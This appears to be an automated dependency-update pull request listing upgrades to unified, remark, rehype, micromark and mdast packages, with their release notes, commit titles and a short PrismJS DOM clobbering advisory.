6.0.0Change to require Node.js 16Change to use `export` mapRefactor docsRefactor to use `Map`Change to return `undefined`, not `null`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/mdast`Update dev-dependencies5.1.2Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
โ๏ธ mdast-util-from-markdown (indirect, 1.2.0 โ 2.0.2) ยท Repo
Release Notes
2.0.2
Types
Full Changelog: 2.0.1...2.0.2
2.0.1
Fix
- 4aa8425 Fix end point of texts ending in character reference
Types
- 1120df9 Add declaration maps
Full Changelog: 2.0.0...2.0.1
2.0.0
Change
- 843e046 Update
@types/mdastand friends
migrate: update too- 12a5622 Update
micromark, change buffers toUint8Arrays
migrate: seemicromark@4.
only really changesBuffer->Uint8Array, so use encodings supported byTextDecoder- 4cbea5a Change to require Node.js 16
migrate: update tooChange (when you make extensions)
- 03581b3 Change to replace getter/setters with raw data
migrate:this.getData('x')->this.data.x,this.setData('x', 1)->this.data.x = 1- 18f4bb0 Change to return
undefinedfromenter,exit
migrate: keep the node you pass toenteraround; get the node yourself beforeexit- 88969a4 Remove deprecated
OnErrortype
migrate:OnError->OnEnterErrorFull Changelog: 1.3.1...2.0.0
1.3.1
- 13430aa Update types for changes in
micromark-util-typesFull Changelog: 1.3.0...1.3.1
1.3.0
Types
- a034fa6 Add
CompileDatatype to track custom dataFull Changelog: 1.2.1...1.3.0
1.2.1
Misc
- c05e153 05875cd 0e70e0a ded1a8e d9a0849 Add improved docs
- 817f24e 4a1a05e Refactor code-style
- 223bf98 Update
tsconfig.jsonFull Changelog: 1.2.0...1.2.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 53 commits:
2.0.2Refactor typesRefactor to use `@import`sUpdate Node in ActionsRefactor `package.json`Remove license yearRefactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Update dev-dependencies2.0.1Fix end point of texts ending in character referenceAdd declaration mapsUpdate `commonmark.json`Update ActionsUpdate dev-dependenciesUpdate dev-dependencies2.0.0Change to replace getter/setters with raw dataChange to return `undefined` from `enter`, `exit`Fix linksChange to require Node.js 16Add script to test in productionRemove unneeded `main`, `types` fieldsRefactor docsRemove deprecated `OnError` typeRefactor code-styleRefactor `.npmrc`Update `@types/mdast` and friendsReplace dependencyUpdate `micromark`, change buffers to `Uint8Array`sRefactor `package.json`, `tsconfig.json`Update dev-dependencies1.3.1Update types for changes in `micromark-util-types`Update dev-dependencies1.3.0Add `CompileData` type to track custom data1.2.1Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleRefactor testsUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesRefactor some docsUpdate dev-dependenciesFix typoReplace skypack w/ esm.shAdd improved docsUpdate dev-dependencies
โ๏ธ mdast-util-gfm (indirect, 2.0.1 โ 3.1.0) ยท Repo
Release Notes
3.1.0
Add
- e111719 Add support for passing footnote options
Types
Full Changelog: 3.0.0...3.1.0
3.0.0
Change
- d40848e Update
@types/mdast, mdast utilities
migrate: update too- 3f1a762 Change to require Node.js 16
migrate: update too- 812337d Change to use
exports
migrate: donโt use private APIsFull Changelog: 2.0.2...3.0.0
2.0.2
Misc
Full Changelog: 2.0.1...2.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
3.1.0Refactor code-styleAdd declaration mapsRefactor to use `@import`sAdd support for passing footnote optionsRefactor `package.json`Remove license yearRefactor `.prettierignore`Refactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Update ActionsUpdate dev-dependenciesUpdate dev-dependenciesUpdate dev-dependencies3.0.0Change to require Node.js 16Change to use `exports`Add npm script to test in productionRefactor docsRefactor code-styleRefactor `.npmrc`Refactor to reorganize fixturesRegenerate testsRefactor `package.json`, `tsconfig.json`Update `@types/mdast`, mdast utilitiesUpdate dev-dependenciesFix typo2.0.2Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsUpdate dev-dependenciesAdd `.gitattributes`
โ๏ธ mdast-util-to-hast (indirect, 12.2.4 โ 13.2.0) ยท Repo
Release Notes
13.2.0
Types
- 24f4576 Add type for
data.metaon elements to hastFull Changelog: 13.1.0...13.2.0
13.1.0
Add
- 59ecd14 Add support for
fileinoptionsFull Changelog: 13.0.2...13.1.0
13.0.2
Full Changelog: 13.0.1...13.0.2
13.0.1
Fix
- 7ff28fb Fix trimming of whitespace around breaks
Full Changelog: 13.0.0...13.0.1
13.0.0
Change
- 67ef76c Update
@types/hast,@types/mdast, utilities
migrate: update too- b815f5e Change to require Node.js 16
migrate: update too- 33442cc Change to use
exports
migrate: donโt use private APIs- 56c88e4 Fix to match GH for HTML generated for backreferences
migrate: use the function form offootnoteBackLabelfor i18n, seedefaultFootnoteBackLabelfor inspiration- ffe7e47 Change to always return a node
migrate: expect an empty root instead of nothing- ffbb8a8 Change to expect, yield
undefined
migrate: expectundefinedeverywhere, notnull- c13fe7f Change to remove support for
Footnotenodes
migrate: use GFM, which does not have โinlineโ notes- 6fc783a Change to remove support for ancient
langoncodewith spaces
migrate: youโre fine, this hasnโt been a thing for years- 72b8a68 Change to use maps for definitions on
state
migrate: if you make your own handles, expect maps- b328aa9 Change to remove function form of
State, use plain object
migrate: if you make your own handles, create nodes yourself, usestate.applyDataif needed- 40e1d29 Change to remove
all,onehelpers
migrate: if you make your own handles, usestate.all,state.one- 1894044 Change to remove
Htype
migrate: useState- e804231 Change to remove
complex-types.d.ts
migrate: use main module- 4df5d41 Change to deep clone passed through nodes
migrate: should be fineTypes
- 52905eb Add smarter types for
passThrough
migrate: type your mdast/hast nodes by extending the content interfaces- 6f555a0 Add supported data fields to
Dataofmdast
migrate: pass correct values innode.dataFix
- 3e300ea Fix to keep content around for
hNameon textFull Changelog: 12.3.0...13.0.0
12.3.0
Add
Fix
- 0c67e83 Fix footnote keys such as
constructor- 1c2cb7b Fix support for passing just a table row, cell
Misc
- 8179548 Rename
HtoState- 6d1021e Add improved docs
- 6aabc56 Refactor code-style
- ac01554 cb81cbb Update
tsconfig.jsonFull Changelog: 12.2.6...12.3.0
12.2.6
Misc
- 3098beb Fix missing internal type
Full Changelog: 12.2.5...12.2.6
12.2.5
Full Changelog: 12.2.4...12.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 64 commits:
13.2.0Add type for `data.meta` on elements to hastUpdate dev-dependencies13.1.0Add support for `file` in `options`Update dev-dependencies13.0.2Update dev-dependenciesFix `hProperties` on `tableCell`13.0.1Fix trimming of whitespace around breaksFix typosUpdate dev-dependencies13.0.0Fix testsChange to require Node.js 16Change to use `exports`Add smarter types for `passThrough`Refactor code-styleFix to match GH for HTML generated for backreferencesFix to keep content around for `hName` on textRefactor tests to use improved typesChange to deep clone passed through nodesChange to always return a nodeAdd supported data fields to `Data` of `mdast`Refactor some more codeChange to expect, yield `undefined`Refactor some codeChange to remove support for `Footnote` nodesChange to remove support for ancient `lang` on `code` with spacesChange to use maps for definitions on `state`Change to remove function form of `State`, use plain objectRefactor to use `structuredClone` polyfillChange to remove `all`, `one` helpersChange to remove `H` typeChange to remove `complex-types.d.ts`Refactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, `@types/mdast`, utilitiesUpdate dev-dependencies12.3.0Add a todo inlineFix footnote keys such as `constructor`Add `wrap` helper on `state`Add `one`, `all` helpers to `state`Rename `H` to `State`Add improved docsFix coverageAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor to move types to `index.d.ts`Fix support for passing just a table row, cellRefactor code-styleUpdate `tsconfig.json`Update Actions12.2.6Fix missing internal type12.2.5Use `module: node16` in typesUpdate dev-dependenciesRefactor types for TypeScript 4.9
โ๏ธ mdast-util-to-markdown (indirect, 1.3.0 โ 2.1.2) ยท Repo
Release Notes
2.1.2
- b0a91ea Fix crash in more complex content around attention
Full Changelog: 2.1.1...2.1.2
2.1.1
Fix
- 97fb818 Fix roundtripping of attention by encoding surroundings
Types
Full Changelog: 2.1.0...2.1.1
2.1.0
Add
- 5fd2f1e Add
compilePatternhelper to stateFull Changelog: 2.0.0...2.1.0
2.0.0
Change
- 6e5e12d Change to require Node.js 16
migrate: update too- d27d04d Update
@types/mdastand friends
migrate: update too- 5c90701 Change to use
exportsmap
migrate: donโt use private APIs- 89d0f5b Remove
bulletOrderedOther, always use other bullets
migrate: you can removebulletOrderedOtherif you passed it, itโs now the default- 7f91d06 Change
fencesdefault totrue
migrate: you can removefences: trueif you passed it, explicitly set it to
falseif you want that, but fenced code is better than indented code- 019f25f Change
listItemIndentdefault from'tab'(size) to'one'
migrate: you can removelistItemIndent: 'one'if you passed it, explicitly set it to
'tab'if you want that- 5b496da Remove ancient undocument support for
listItemIndent: 1
migrate:1->'one'- 2fcac46 Remove
Contexttype alias
migrate:Context->State- 445c51a Remove
SafeOptionstype alias
migrate:SafeOptions->InfoFull Changelog: 1.5.0...2.0.0
1.5.0
Fix
- 122101f Fix to not generate blank lines for phrasing roots
Add
- 21a7d0a Add export of
defaultHandlers- 070ad5f Add
associationIdhelper tostate- 35ceafc Add
createTrackerhelper onstate- e9f71aa Add
safehelper onstate- 19301e7 Add
containerPhrasing,containerFlowhelpers onstate- a638e2a Add
indentLineshelper onstateMisc
- d2108dd Refactor types to use node types, not strings
- 35a9ccc Add registry for construct names
- 501f668 Add support for
nullas input in types- e812c79 Add improved docs
Full Changelog: 1.4.0...1.5.0
1.4.0
- 2f3eeb7 Remove unneeded escapes of
-,*- 4cb437c Remove escape of
+when not followed by whitespace
by @ocavue in #57- 2c52778 Refactor some docs
Full Changelog: 1.3.0...1.4.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 63 commits:
2.1.2Fix crash in more complex content around attention2.1.1Fix roundtripping of attention by encoding surroundingsRefactor typesRefactor to use `@import`sAdd declaration mapsRefactor `package.json`Update ActionsRemove license yearRefactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Update dev-dependencies2.1.0Add `compilePattern` helper to stateUpdate dev-dependencies2.0.0Change to require Node.js 16Change to use `exports` mapRemove `bulletOrderedOther`, always use other bulletsChange `fences` default to `true`Change `listItemIndent` default from `'tab'` (size) to `'one'`Remove ancient undocument support for `listItemIndent: 1`Remove `Context` type aliasRemove `SafeOptions` type aliasRefactor docsRefactor code-styleAdd `ignore-scripts` to `.npmrc`Use Gallium in ActionsRefactor `package.json`, `tsconfig.json`Update `@types/mdast` and friendsUpdate dev-dependenciesUpdate dev-dependencies1.5.0Add export of `defaultHandlers`Add `associationId` helper to `state`Add `createTracker` helper on `state`Add `safe` helper on `state`Add `containerPhrasing`, `containerFlow` helpers on `state`Add `indentLines` helper on `state`Refactor docs on typeRefactor types to use node types, not stringsAdd registry for construct namesAdd missing link in `readme.md`Fix to not generate blank lines for phrasing rootsAdd improved docsAdd support for `null` as input in typesRefactor typesUse Node test runnerUpdate `tsconfig.json`Refactor npm scriptsUpdate Action1.4.0Remove unneeded escapes of `-`, `*`Remove escape of `+` when not followed by whitespaceUpdate dev-dependenciesAdd improved internal types for `zwitch`Update `zwitch`Fix typesUpdate dev-dependenciesRefactor some docsUpdate dev-dependenciesReplace skypack w/ esm.sh
โ๏ธ mdast-util-to-string (indirect, 3.1.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Change
- 6f7f7cf Change to require Node.js 16
migrate: update too- f77cf68 Change to use
exportmap
migrate: donโt use private APIsFull Changelog: 3.2.0...4.0.0
3.2.0
Feat
- 862d7ea Add
includeHtmloptionFull Changelog: 3.1.1...3.2.0
3.1.1
Misc
- 7380cd7 353622c Add improved docs
- eede172 537d210 b03ce26 e02b8b7 Refactor code-style
- ae5234c 1232790 Update
tsconfig.jsonFull Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 29 commits:
4.0.0Change to require Node.js 16Change to use `export` mapRefactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/mdast`Update dev-dependencies3.2.0Add `includeHtml` optionUpdate dev-dependencies3.1.1Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsRefactor code-styleUpdate dev-dependenciesAdd `ignore-scripts` to `.npmrc`Update `xo`Add `strict` to `tsconfig.json`Refactor code-styleUse `pull_request_target` in bb
โ๏ธ micromark (indirect, 3.1.0 โ 4.0.2) ยท Repo
Release Notes
4.0.2
- d5712f1 Add internal field to allow trailing whitespace
4.0.1
Performance
- f955251 Refactor to improve performance of
resolveAllLabelEndMiscellaneous
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ micromark-extension-gfm-strikethrough (indirect, 1.0.4 โ 2.1.0) ยท Repo
Release Notes
2.1.0
- 2354da5 Add
name
by @shlroland in #4- 874f0ac Refactor to use
@importsFull Changelog: 2.0.0...2.1.0
2.0.0
- c6c9efd Change to require Node.js 16
migrate: update Node- 75b799b Change to expose functions
migrate:gfmStrikethroughHtml->gfmStrikethroughHtml()- 78fe632 Update
micromarkFull Changelog: 1.0.7...2.0.0
1.0.7
Fix
- d519655 Fix missing exposed type
Full Changelog: 1.0.6...1.0.7
1.0.6
Types
- 36a6b6d Update types for changes in
micromark-util-typesFull Changelog: 1.0.5...1.0.6
1.0.5
Full Changelog: 1.0.4...1.0.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
2.1.0Refactor to use `@import`sUpdate dev-dependenciesAdd `name`2.0.0Change to require Node.js 16Remove unneeded xo rulesRemove unneeded `main`, `types` fieldsRefactor docsChange to expose functionsReplace dependencyUpdate `micromark`Add `ignore-scripts` to `.npmrc`Refactor code-styleRefactor `package.json`, `tsconfig.json`Update dev-dependencies1.0.7Fix missing exposed type1.0.6Update types for changes in `micromark-util-types`Update dev-dependencies1.0.5Add improved docsAdd script to test in productionAdd tests for exposed identifiersRefactor testsUse Node test runnerAdd improved JSDocRefactor typesUpdate `tsconfig.json`Update dev-dependenciesUpdate ActionsFix types for TS 4.9Fix typoAdd `.gitattributes`Add improved docsRefactor code-styleUpdate dev-dependenciesReplace skypack w/ esm.sh
โ๏ธ micromark-extension-gfm-table (indirect, 1.0.5 โ 2.1.1) ยท Repo
Release Notes
2.1.1
Fix
Types
Full Changelog: 2.1.0...2.1.1
2.1.0
- da4900e Add
name
by @shlroland in #13- 5f2eb21 Refactor to use
@importsFull Changelog: 2.0.0...2.1.0
2.0.0
Change
- da8dc23 Change to require Node.js 16
migrate: update Node- 57a0069 Change to expose functions
migrate:gfmTable->gfmTable()- b2ebed6 Update
micromarkFull Changelog: 1.0.7...2.0.0
1.0.7
Types
- a59da0b Update types for changes in
micromark-util-typesFull Changelog: 1.0.6...1.0.7
1.0.6
Perf
- 9033e98 Refactor code to match
markdown-rs, fix perfMisc
Full Changelog: 1.0.5...1.0.6
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 52 commits:
2.1.1Refactor `package.json`Refactor typesAdd declaration mapsRemove license yearRefactor ActionsRefactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Fix fixturesUpdate dev-dependenciesFix stack overflow by replacing spread w/ for loopUpdate Node in ActionsUpdate dev-dependenciesRefactor to use abnf2.1.0Refactor to use `@import`sUpdate dev-dependenciesAdd `name`2.0.0Change to require Node.js 16Remove unneeded `main`, `types` fieldsRefactor docsChange to expose functionsAdd `ignore-scripts` to `.npmrc`Replace dependencyUpdate `micromark`Refactor code-styleRefactor `package.json`, `tsconfig.json`Update dev-dependencies1.0.7Update types for changes in `micromark-util-types`1.0.6Update dev-dependenciesAdd improved docsRefactor code to match `markdown-rs`, fix perfAdd script to test in productionAdd tests for exposed identifiersRefactor code-styleUse Node test runnerAdd improved JSDocsRefactor typesUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesFix types for TS 4.9Add link to issue in testAdd fixture for interruptionUpdate dev-dependenciesAdd improved docsRefactor code-styleUpdate dev-dependenciesReplace skypack w/ esm.sh
โ๏ธ micromark-util-symbol (indirect, 1.0.1 โ 2.0.1) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ nlcst-to-string (indirect, 3.1.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Change
- a3ff3fc Update
@types/nlcst
migrate: update too- e4b95c3 Change to require Node.js 16
migrate: update too- 0f4c52c Change to use
exports
migrate: donโt use private APIs- b1ba622 Remove
separator
migrate: afaik nobody used thisFull Changelog: 3.1.1...4.0.0
3.1.1
Misc
- c3f0963 abedfe3 Add improved docs
- f717b75 a6eeaea Refactor code-style
- 62ca051 Update
tsconfig.json- eeb785c Fix typo
by @mattleff in #8- 403d665 Fix typo
by @justjavac in #7Full Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
4.0.0Change to require Node.js 16Change to use `exports`Refactor docsRemove `separator`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/nlcst`Update dev-dependencies3.1.1Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesFix typoFix typoAdd improved docsRefactor code-styleUpdate dev-dependenciesadd `ignore-scripts` to `.npmrc`
โ๏ธ parse-latin (indirect, 5.0.1 โ 7.0.0) ยท Repo
Release Notes
7.0.0
Change
- 8fe6893 Update
@types/nlcst,@types/unist, utilities
migrate: update too- ad2d932 Change to require Node.js 16
migrate: update too- 6ce04d2 Change to use
exports
migrate: donโt use private APIs- 1d96ee6 Change to use
undefinedfordocfield
migrate: expectundefinedFull Changelog: 6.0.2...7.0.0
6.0.2
Patch
- 34aaffa Update Unicode
Misc
Full Changelog: 6.0.1...6.0.2
6.0.1
Misc
- 379499e Fix crash on nodes without positional info
Full Changelog: 6.0.0...6.0.1
6.0.0
- 54baf82 Add types, remove
position,use,useFirst
feature: add types
breaking: removepositionfield (useunist-util-remove-positionif you previously setposition: false)
breaking: remove support foruse,useFirst(manipulate the lists of plugins yourself)
patch: fix support for CR, CRLF line endings- 4d1626d Add improved docs
Full Changelog: 5.0.1...6.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 36 commits:
7.0.0Change to require Node.js 16Change to use `exports`Change to use `undefined` for `doc` fieldRefactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/nlcst`, `@types/unist`, utilitiesUpdate dev-dependencies6.0.2Use `bundlejs`Fix typoRefactor docsAdd tests for exposed identifiersRemove superfluous testRefactor JSDocRefactor code-styleAdd `ignore-scripts` to `.npmrc`Remove unused dev-dependencyUpdate UnicodeRemove `skipLibCheck`Refactor `package.json`Update ActionsUpdate dev-dependencies6.0.1Refactor docsFix crash on nodes without positional infoAdd tests for exposed identifiersRefactor code-styleUpdate ActionsUpdate dev-dependencies6.0.0Remove old badgeAdd improved docsAdd types, remove `position`, `use`, `useFirst`
โ๏ธ prismjs (indirect, 1.29.0 โ 1.30.0) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ PrismJS DOM Clobbering vulnerability
Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.
Release Notes
1.30.0
What's Changed
- check that
currentScriptis set by a script tag by @lkuechler in #3863New Contributors
- @lkuechler made their first contribution in #3863
Full Changelog: v1.29.0...v1.30.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ property-information (indirect, 6.2.0 โ 7.1.0) ยท Repo
Release Notes
7.1.0
Full Changelog: 7.0.0...7.1.0
7.0.0
Change
- 7aa0142 Change to require Node.js 16
migrate: update too- d95d0e5 Add export map
migrate: donโt use private APIsTypes
- 632c933 Add declaration maps
Full Changelog: 6.5.0...7.0.0
6.5.0
- 5eb7b1a Add
shadowRootClonable,writingSuggestionsFull Changelog: 6.4.1...6.5.0
6.4.1
- 172b09b Fix candidate
captureto be stringFull Changelog: 6.4.0...6.4.1
6.4.0
- 4f47923 Add
onBeforeToggle,shadowRootDelegatesFocus,shadowRootModeFull Changelog: 6.3.0...6.4.0
6.3.0
Data
- d2b13fb Add
blocking,fetchPriority,inert,popover, etcMiosc
- f66247a Update derivative work license for react
by @AndyScherzinger in #17Full Changelog: 6.2.0...6.3.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 35 commits:
7.1.0Change `hidden` to `overloadedBoolean`7.0.0Change to require Node.js 16Add export mapRefactor code-styleRefactor docsRefactor code-styleAdd better docs to typesAdd declaration mapsRefactor `tsconfig.json`Refactor `package.json`Remove license yearRefactor `.prettierignore`Add `ignore-scripts` to `.npmrc`Refactor `.editorconfig`Update dev-dependenciesUpdate actionsAdd `.tsbuildinfo` to `.gitignore`Fix typo in upstream react dataUpdate dev-dependencies6.5.0Update dev-dependenciesAdd `shadowRootClonable`, `writingSuggestions`Update dev-dependencies6.4.1Fix candidate `capture` to be stringUpdate dev-dependencies6.4.0Add `onBeforeToggle`, `shadowRootDelegatesFocus`, `shadowRootMode`Update dev-dependencies6.3.0Update derivative work license for reactAdd `blocking`, `fetchPriority`, `inert`, `popover`, etcUpdate dev-dependencies
โ๏ธ rehype (indirect, 12.0.1 โ 13.0.2) ยท Repo ยท Changelog
Release Notes
13.0.2
(note: this is a patch of all packages)
Miscellaneous
- e578a2b Add license file to packages
by @MarkAshraf96 in #180Types
Documentation
- 6df7687 Add
rehype-calloutsto list of plugins
by @lin-stephanie in #175- f6912ac Add
rehype-starry-nightto list of plugins- 43a29ac Add
rehype-twoslashto list of plugins- 0807035 Add
rehype-highlight-code-linesto list of plugins
by @talatkuyuk in #172- 40fe9ff Add
rehype-svgoto list of plugins
by @TomerAberbach in #169- 9bc5528 Add
rehype-auto-adsto list of plugins
by @Robot-Inventor in #165- 6849661 Add
rehype-scroll-to-top,rehype-smenatic-imagesto list of plugins
by @benjamincharity in #163Full Changelog: 13.0.1...13.0.2
13.0.1
Types
- 372da4d Add augmentation of settings types to
rehypeFull Changelog: 13.0.0...13.0.1
13.0.0
Change
- f6b628d Update
unified,unified-args,@types/hast, etc
migrate: update too
if you passed anentitiesoption torehype/rehype-stringify, change it tocharacterReferences
if you userehype-cli, expect dotfiles to be included by default, add them to an ignore file if you donโt want them- 830757d Change to require Node.js 16
migrate: update too- 17079b0 Change to use
exports
migrate: donโt use private APIsAdd
- 7c9115b Add typed settings
migrate: donโt use private APIs
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 62 commits:
13.0.2Update Node in ActionsAdd declaration mapsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependenciesAdd license file to packagesAdd `rehype-callouts` to list of pluginsAdd `rehype-starry-night` to list of pluginsAdd `rehype-twoslash` to list of pluginsRefactor to use `@import`sUpdate dev-dependenciesAdd `rehype-highlight-code-lines` to list of pluginsUpdate dev-dependenciesAdd `rehype-svgo` to list of pluginsAdd `rehype-auto-ads` to list of pluginsUpdate dev-dependenciesAdd `rehype-scroll-to-top`, `rehype-smenatic-images` to list of plugins13.0.1Add augmentation of settings types to `rehype`rehype-cli: 12.0.013.0.0rehype-stringify: 10.0.0rehype-parse: 9.0.0Change to require Node.js 16Change to use `exports`Refactor docsAdd typed settingsRefactor code-styleRefactor to use `node:test`Add `ignore-scripts` to `.npmrc`sRefactor ActionsRefactor `package.json`sRefactor `tsconfig.json`sUpdate `unified`, `unified-args`, `@types/hast`, etcUpdate dev-dependenciesrehype-stringify: 9.0.4rehype-parse: 8.0.5Add `rehype-class-names` to list of pluginsAdd `rehype-remove-images` to list of pluginsAdd sponsorAdd `rehype-mermaidjs` to list of pluginsFix TypeScript buildAdd `rehype-color-chips` to the list of pluginsAdd `rehype-sectionize` to list of pluginsUpdate `tsconfig.json` to use use node16 module resolutionUpdate ActionsAdd `ignore-scripts` to `.npmrc`Fix internal types for TS 4.9Update Node in ActionsUpdate dev-dependenciesAdd `rehype-extract-meta` to list of pluginsAdd `rehype-jargon` to list of pluginsAdd `rehype-slug-custom-id` to list of pluginsAdd `rehype-lodash-template` to list of pluginAdd `rehype-postcss` to list of pluginsAdd `rehype-ignore` to list of pluginsFix typoAdd `.gitattributes`Replace skypack w/ esm.shAdd links to `rehype-format`, `rehype-minify`Update dev-dependenciesrehype-cli: 11.0.1
โ๏ธ rehype-parse (indirect, 8.0.4 โ 9.0.1) ยท Repo ยท Changelog
Release Notes
9.0.1
See
rehype-parse@6.0.2andrehype-stringify@6.0.1Project
9.0.0
- 3cf3c91 Update
unified(seeunified@8.0.0)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
9.0.1rehype-stringify: 6.0.1rehype-parse: 6.0.2Add `funding` to packagesUpdate fixturesUpdate dev-dependenciesUpdate dev-dependenciesAdd `rehype-truncate` to list of pluginsAdd `rehype-url-inspector` to pluginsUpdate websiteUpdate sponsorsAdd notes on securityUpdate dev-dependenciesFix event handlers in testsFix cli test help outputrehype-cli: 8.0.0rehype-cli: update `rehype`rehype-cli: update `unified-args`Update dev-dependencies
โ๏ธ rehype-raw (indirect, 6.1.1 โ 7.0.0) ยท Repo
Release Notes
7.0.0
Change
- cdbb980 Update
hast-util-raw,@types/hast
migrate: update too- 9a794bb Change to require Node.js 16
migrate: update too- cd34249 Change to use
exports
migrate: donโt use private APIsFull Changelog: 6.1.1...7.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
7.0.0Change to require Node.js 16Change to use `exports`Refactor docsRefactor code-styleRefactor to move implementation to `lib/`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update `hast-util-raw`, `@types/hast`Update dev-dependenciesUpdate `tsconfig.json`, use `node:test`Update exampleUpdate dev-dependenciesReplace skypack w/ esm.sh
โ๏ธ rehype-stringify (indirect, 9.0.3 โ 10.0.1) ยท Repo ยท Changelog
Release Notes
10.0.1
- 4e9cee5 rehype: update
rehype-stringify
(breaking, this shouldโve gone in 10.0.0)
10.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ remark-gfm (indirect, 3.0.1 โ 4.0.1) ยท Repo
Release Notes
4.0.1
Types
- 4af823a Refactor to use
interfacefor exposed types- 3a57a5b Add declaration maps
- 76559f9 Refactor to use
@importsDocs
Full Changelog: 4.0.0...4.0.1
4.0.0
Change
- b8cc334 Update
@types/mdast,unified, utilities
migrate: update too- 9eb0f54 Change to use
exports
migrate: donโt use private APIs- 5715c93 Change to require Node.js 16
migrate: update tooFull Changelog: 3.0.1...4.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
4.0.1Add docs on footnote optionUpdate dev-dependenciesFix typoRefactor to use `interface` for exposed typesAdd declaration mapsRefactor to use `@import`sRefactor `package.json`Remove license yearRefactor `.editorconfig`Update ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependencies4.0.0Change to use `exports`Change to require Node.js 16Refactor docsRefactor to move code to `lib/`Refactor code-styleRefactor to use `node:test`Refactor `.npmrc`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update `@types/mdast`, `unified`, utilitiesUpdate dev-dependenciesFix tests to reflect changes in `micromark-extension-gfm-table`Update dev-dependenciesAdd `ignore-scripts` to `.npmrc`Remove lint rule for nowFix internal types for TS 4.9Update Node in ActionsUpdate dev-dependenciesUpdate tests for changes in internal dependenciesUpdate dev-dependenciesReplace skypack w/ esm.shUpdate dev-dependenciesFix linkAdd `remark-mdx` to list of related projects
โ๏ธ remark-parse (indirect, 10.0.1 โ 11.0.0) ยท Repo ยท Changelog
Release Notes
11.0.0
Breaking
- 8d02516 Add TypeScript definitions
- c5484d8 Update
remark-stringify(seeremarkjs/remark@remark-stringify@7.0.0)- 43364b0 Update
remark-parse(seeremarkjs/remark@remark-parse@7.0.0)- 25df13d Update
unified(seeunifiedjs/unified@8.0.0)Project
- a47c3c9 Add more links to unified for examples of use
- a93db25 Remove community health files
- 1578bdf Refactor prose
- 70ada4a Move URLs from HTTP to HTTPS
- edb284a Add more badges
Plugins
- 927083c Add
remark-code-frontmatter to plugins- 0ee5336 Add
remark-code-extrato List of Plugins- 5d13f8e Update list of plugins
- cc7867b Add
remark-tree-sitterto list of plugins- cca8385 Add
remark-sectionizeto plugins.md- f4230e3 Add
remark-capitalizeto list of plugins- cf52183 Add
remark-utf8sandremark-code-screenshotto list of plugins- caaf374 Add
remark-redactableto list of plugins
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 44 commits:
